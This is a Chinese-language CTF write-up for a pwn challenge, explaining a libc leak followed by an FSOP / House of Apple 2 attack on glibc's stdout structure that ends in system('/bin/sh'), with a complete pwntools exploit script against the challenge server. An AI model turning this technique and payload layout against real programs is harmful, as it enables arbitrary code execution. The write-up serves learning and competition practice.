简单的pwn

简单的pwn (2).png

mian函数调用了g1

g1函数:

简单的pwn (5).png

g2函数:

简单的pwn (6).png

首先g1给了我们获取v1后面的栈上的任意5字节数据的能力,只要我们控制buf就行,然后调用g2,g2我们先输入一个指针,然后我们能向这个指针写入,也就是我们有一个任意写的功能

我们考虑用g1泄露libc地址

我们用gdb在write处停下,我们看栈上的情况

简单的pwn (1).png

我们在ida中能看到v1在rbp-0x10,然后我们看到rbp+0x18,有一个libc地址,所以我们buf填0x28就能泄露libc,但是这里我们要注意不能填0x28,因为这是小端序,它在内存中是这样的

与rbp的偏移 地址
+0x18 a8
+0x19 bc
+0x1a a4
+0x1b 25
+0x1c 0a
+0x1d 7b
+0x1e 00
+0x1f 00

假设我们用0x28,我们会把开头的7b漏掉,所以达不到我们成功泄露的标准,但是如果我们用0x29,我们漏掉的是结尾的a8,这个是可以接受的,因为本身的libc基址后面三位一定是0,所以我们用0x29泄露libc

那我们现在利用g1泄露完libc,接下来考虑怎么利用g2的任意写,那我们现在没有栈地址,没有pie地址,我们只有libc基址,那我们可以考虑用FSOP和House of apple 2

首先简单介绍一下,我也不在这里说太深的底层原理

FSOP:

在 Linux 的 glibc 中,所有的文件流(例如 stdin, stdout, stderr 以及通过 fopen 打开的文件)在底层都是由 _IO_FILE 结构体来表示的。为了管理这些零散的文件流,glibc 将它们通过一个名为 chain 的指针串联成一个单向链表,而这个链表的头部指针就是一个全局变量,叫做 _IO_list_all

每一个 _IO_FILE 结构体不仅记录了文件的读写状态、缓冲区地址等数据,还在其末尾包含一个名为 vtable(虚表)的指针。这个虚表指向一个函数指针数组(例如 _IO_file_jumps),里面存放着负责实际执行 readwriteoverflow 等操作的底层函数地址。

House of apple 2:

在 glibc 2.34 及以上版本中,传统的 __malloc_hook__free_hook 等全局函数钩子被彻底移除,这使得以前非常流行的劫持 Hook 获得控制权的方法失效。因此,漏洞利用的焦点逐渐转移到了 _IO_FILE 结构体上。

然而,glibc 对 _IO_FILE 也加入了 _IO_vtable_check 保护。这个机制会严格检查 _IO_FILE 的虚表(vtable)指针是否落在 glibc 只读数据段的合法虚表范围内。如果攻击者强行将虚表伪造并指向可控的堆空间,程序会直接报错并终止运行。

House of Apple 2的核心原理是:利用宽字符流操作中的 _wide_data 结构体来绕过虚表校验,从而实现任意代码执行或栈迁移。

具体而言,glibc 在处理宽字符流时,会在 _IO_FILE 结构体中使用一个名为 _wide_data 的指针。这个指针指向一个 _IO_wide_data 结构体,而该结构体内部也包含一个虚表指针,称为 _wide_vtable

漏洞的突破口在于:

  1. glibc 仅对 _IO_FILE 主结构体的 vtable 有严格检查(_IO_vtable_check)。
  2. glibc 对 _wide_data 内部的 _wide_vtable 没有任何地址范围的校验。

利用这个盲区,我们可以将 _IO_FILE 的主虚表设置为 glibc 内部合法的宽字符虚表(通常为 _IO_wfile_jumps),从而完美通过 _IO_vtable_check 的安检。随后,当程序执行该合法虚表中的函数(如 _IO_wfile_overflow_IO_wfile_underflow)时,函数内部会去调用 _wide_data->_wide_vtable 里的函数指针。此时,由于 _wide_vtable 是我们伪造的且不受任何保护,控制流就被成功劫持了。

我们看这道题是怎么做的

payload = flat({
      0x00: 0x9800,
      0x20: environ,
      0x28: environ + 8,
      0x30: 0,
      0x40: 0,
      0x48: system,
      0x50: binsh,
      0x60: stdout - 0x28,
      0x68: stdout - 0x40,
      0x70: 1,
      0x78: 0,
      0x80: 1,
      0x98: wfile_jumps,
      0xb0: gadget1,
      0xb8: stdout + 0x48,
  }, filler=b'\x00', length=0xc0)

我们这里选择的是任意写指针为stdout,也就是我们可以修改stdout,我们先看stdout的结构(注意,这里的键是以stdout为基础)

stdout:
+0x00 -> _flags
+0x20 -> _IO_write_base
+0x28 -> _IO_write_ptr
+0x68 -> _chain
+0x70 -> _fileno

这里我把_flags设置成0x9800是为了通过检查,这个要看具体的题目来确定数值

_IO_write_base:输出缓冲区的起始位置

_IO_write_ptr:当前已经写到哪里了

举个直观例子:

如果

_IO_write_base = 0x1000
_IO_write_ptr = 0x1000

那就是空缓冲,没有待输出数据

如果

_IO_write_base = 0x1000
_IO_write_ptr = 0x1008

那就表示从 0x1000 到 0x1007 这 8 个字节是“还没 flush 出去”的数据

因为我们是靠最后的exit(0)触发,exit(0)会去查看stdout,如果看到缓冲区里面没有东西,我们后面的伪造链就进行不起来,所以我们这里要保证_IO_write_ptr比_IO_write_base大

这里我们要用两个个合法的地址填_IO_write_ptr和_IO_write_base,我们这里采用libc.sym['environ'],因为它是可读的,如果选其他的符合要求的也可以,我们再把ptr设为libc.sym['environ']+8,这样glibc就会认为stdout里还有0字节要输出,也就会进行后续的流程

我们在FSOP里提过,FILE是通过单向链表链接的,而_chain就是这个链表的指针,也就是

_chain的作用是指向链表里的下一个 FILE

所以这里是填我们伪造的FILE的开头地址,后续我们讲到这个伪造的FILE再讲为什么要是-0x40,在这里我们只要理解0x68的伪造填stdout - 0x40是告诉glibc下一个FILE(我们伪造的)去哪找

这里的 fileno 就是这个 FILE 对象绑定的文件描述符:

0 = stdin

1 = stdout

2 = stderr

这里我们打的是_IO_2_1_stdout_,所以填1

至此,我们stdout的部分讲完了,我们看下一部分,也就是我们伪造的开始地址在stdout - 0x40的FILE

名称 结构内偏移 在flat({})的偏移
fake FILE 0x0 stdout - 0x40
_wide_data +0xa0 stdout + 0x60
_mode +0xc0 stdout + 0x80
vtable +0xd8 stdout + 0x98

结构内偏移是固定的,我们是根据结构内偏移确定在flat({})的偏移的,毕竟我们的payload长度限制在0xc0

我们先看_wide_date,这个是一个“宽字符流”用的附加子结构,这个我们后面会重点说,这里就是告诉glibc这个子结构的位置

然后是讲_mode = 1

_mode <= 0 时,glibc 会按窄分支去处理 fake FILE

_mode > 0 时,glibc 才会按 wide 分支继续利用 _wide_data

在一般的House of apple 2我们用的其实是0,原因是

如果我们把 _mode 设为 1 (宽流):安检员就会去检查 _wide_data 结构体里的 write_ptrwrite_base。这意味着我们必须在堆上额外伪造一块完整的 _wide_data 内存,并在里面精确布置这两个指针的大小关系。这增加了堆布局的复杂度。

如果我们设置为 _mode = 0 (窄流):安检员就会只检查主 _IO_FILE 结构体里的 _IO_write_ptr_IO_write_base。这两个字段就在结构体的头部(偏移 0x20 和 0x28)。我们只需要随手填个 0 和 1,就能轻松骗过安检员,虽然后面会检查,但是我们只要让 _wide_data 指向一块全填 0 的空内存(仅在偏移 0xe0 处放上我们的虚表指针),_IO_write_base == 0 满足, _IO_buf_base == 0 满足。

而且只要我们把vtable设置为 _IO_wfile_jumps它不管mode是多少,都是走wide分支(后面会讲到),所以通常我们会设置成0,但是我们这题的布局是比较紧凑的,我们写入的空间有限,为了不破坏stdout的正常,我们采用了错开放置,这样我们就在stdout - 0x40的位置放了fake file,但是这样我们的_IO_write_ptr 和_IO_write_base(窄分支会检查)在stdout 0x00的上方,我们不能改变,但是我们不能保证它们两个的关系是大于的,所以我们只能走mode 1,需要我们考虑wide_date的构建

然后是vtable,这里填 _IO_wfile_jumps有两个作用

作用一:通过 _IO_vtable_check 检查

我们前面提过,高版本 glibc 会检查 fp->vtable 指针是否落在 glibc .rodata 段的合法虚表数组范围内。_IO_wfile_jumps 本身就是 glibc 内部预定义好的一个合法虚表,所以把它填进 vtable 里,就能完美骗过安全检查。

作用二:强行引导走Wide流程

在 C 语言的底层实现中,glibc 并没有一个绝对的字段来标记“这是一个普通流还是一个宽字符流”,它完全依赖虚表(vtable)中的函数指针来决定后续的操作逻辑。

当我们触发 FSOP(比如程序执行 exit() 导致 _IO_flush_all_lockp 被调用)时,glibc 会遍历每一个流,并尝试刷新它们。在底层的 C 代码中,glibc 会去调用类似 _IO_OVERFLOW(fp) 这样的宏。

这个宏的本质是去虚表里找对应的函数执行:


fp->vtable->__overflow(fp); 

如果我们保留了普通的虚表(比如 _IO_file_jumps),那么程序就会去执行普通的 _IO_new_file_overflow。在这个普通函数里,glibc 是不会去管 _wide_data 这个字段的。

但是,当我们把 vtable 修改为 _IO_wfile_jumps 时:

  1. _IO_OVERFLOW(fp) 依然会被调用。
  2. 程序去 _IO_wfile_jumps 这个虚表里寻找 __overflow 的偏移。
  3. 它找到了对应的函数:_IO_wfile_overflow
  4. 程序跳转到 _IO_wfile_overflow 执行。

_IO_wfile_overflow 这个函数,在这个函数的源码中,它会直接去解引用你伪造的 _wide_data,并调用里面未受保护的 _wide_vtable。

接下来我们看fake _wide_data:

名称 结构体内偏移 flat({})偏移
fake_wide_data 0x00 stdout - 0x28
_IO_write_base + 0x18 stdout - 0x10
_IO_write_ptr + 0x20 stdout - 0x8
_wide_vtable +0xe0 stdout + 0xb8

这里就是告诉glibc,stdout-0x28里放着_wide_vtable的地址(我们填的是 stdout + 0x48

我们前面说过,我们走mode 1的话会检查wide_data的_IO_write_ptr要大于_IO_write_base,

_IO_write_basestdout - 0x10,这是 stdin 结构体尾部的 _unused2 填充区,在正常程序中,这个区域永远是干净的 0。结果: _IO_write_base = 0

_IO_write_ptrstdout - 0x08stdout - 0x08(即 stdin + 0xd8)恰好是 stdinvtable(虚表)指针所在的位置,这个指针存放着 libc 内部 _IO_file_jumps 的绝对地址,这是一个类似 0x7ffff7fa... 的极其巨大的正数。

第一阶段检查瞬间通过:glibc 判断 _IO_write_ptr > _IO_write_base,也就是判断 0x7ffff7fa... > 0

还要满足 _IO_wfile_overflow 内部检查

绕过安检还不够,进入执行阶段后,_IO_wfile_overflow 还会检查两个条件才能调用最终的 __doallocate。你依然没有特意写,但它们依然被完美满足了:

条件 A:_IO_write_base == 0上面我们算过了,它落在 stdin_unused2 里,天然是 0。完美通过。

条件 B:_IO_buf_base == 0_wide_data 中,_IO_buf_base 的偏移是 0x30。 计算地址:(stdout - 0x28) + 0x30 = stdout + 0x08。我们的 Payload 最后写着 filler=b'\x00'0x08 的位置被自动填成了 0

然后是fake wide_vtable:

名称 结构体内偏移 flat({})偏移
fake wide_vtable 0x00 stdout + 0x48
0x08 stdout + 0x50
执行的函数 0x68 stdout + 0xb0

glibc 为了方便寻址,通常会先把 _wide_vtable 的基址(结构体内偏移0x00)放进一个寄存器里(通常恰好是 rax)。

我们把执行的函数设为gadget:

mov rdi, qword ptr [rax + 8]  ; 
call qword ptr [rax]          ; 
❯ objdump -d -M intel ./libc.so.6 | grep -A 3 "mov    rdi,QWORD PTR \[rax+0x8\]" | grep -B 3 -E "call   QWORD PTR \[rax\]|jmp    QWORD PTR \[rax\]"
   904f8:       0f 05                   syscall
--
   9afe7:       48 8b 78 08             mov    rdi,QWORD PTR [rax+0x8]
   9afeb:       ff 10                   call   QWORD PTR [rax]

这样,我们在stdout + 0x50([rax + 8])放binsh,binsh就被放在rdi里,stdout + 0x48放system,就是我们gadget会call system

这样,我们就了解了payload为什么这么放置了,现在就剩最后一个问题了,就是栈对齐

由于最后是call system,如果我们直接用libc.sym["system"]的地址,栈是没对齐的

简单的pwn (3).png

我这里是用gdb的方法,实际上system真实调用起作用的是jmp和call的那个地址,然后我们看那个地址的汇编,我们可以看到我们跳过第一个push就能栈对齐了

简单的pwn (4).png

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'nc1.ctfplus.cn 13321'

file_name = './PWN_patched'
libc_name = './libc.so.6'

elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
0x1266
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   p = remote(host, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool):            return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def a(f, off=libc):      return lg(hex(off), (ret := f.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def ntlb(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None):                    return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s, f=None):
   target = f or libc
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   gadget = rop.find_gadget(instrs)
   if gadget:
       addr = gadget.address
       lg(s, addr)
       return addr
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

def ga(delim=b'|', name='Leak', data=None):
    target_data = data if data else ru(delim)
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
s(p64(0x29))
leak1 = r(5)
ntlb(uu64(leak1)<<8,0x29c00)

stdout = libc.sym['_IO_2_1_stdout_']
environ = libc.sym['environ']
wfile_jumps = libc.sym['_IO_wfile_jumps']
binsh = se(b'/bin/sh')
system = libc.address + 0x52c92

gadget1 = libc.address + 0x9afe7

s(p64(stdout))

payload = flat({
      0x00: 0x9800,
      0x20: environ,
      0x28: environ + 8,
      0x30: 0,
      0x40: 0,
      0x48: system,
      0x50: binsh,
      0x60: stdout - 0x28,
      0x68: stdout - 0x40,
      0x70: 1,
      0x78: 0,
      0x80: 1,
      0x98: wfile_jumps,
      0xb0: gadget1,
      0xb8: stdout + 0x48,
  }, filler=b'\x00', length=0xc0)

s(payload)
it()


题目链接:

CTF-Writeups/UniCTF2025/简单的pwn at main · Zenquiem/CTF-Writeups


简单的pwn
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-EH6ql41v
作者
ZenDuk
发布于
2026年03月17日
许可协议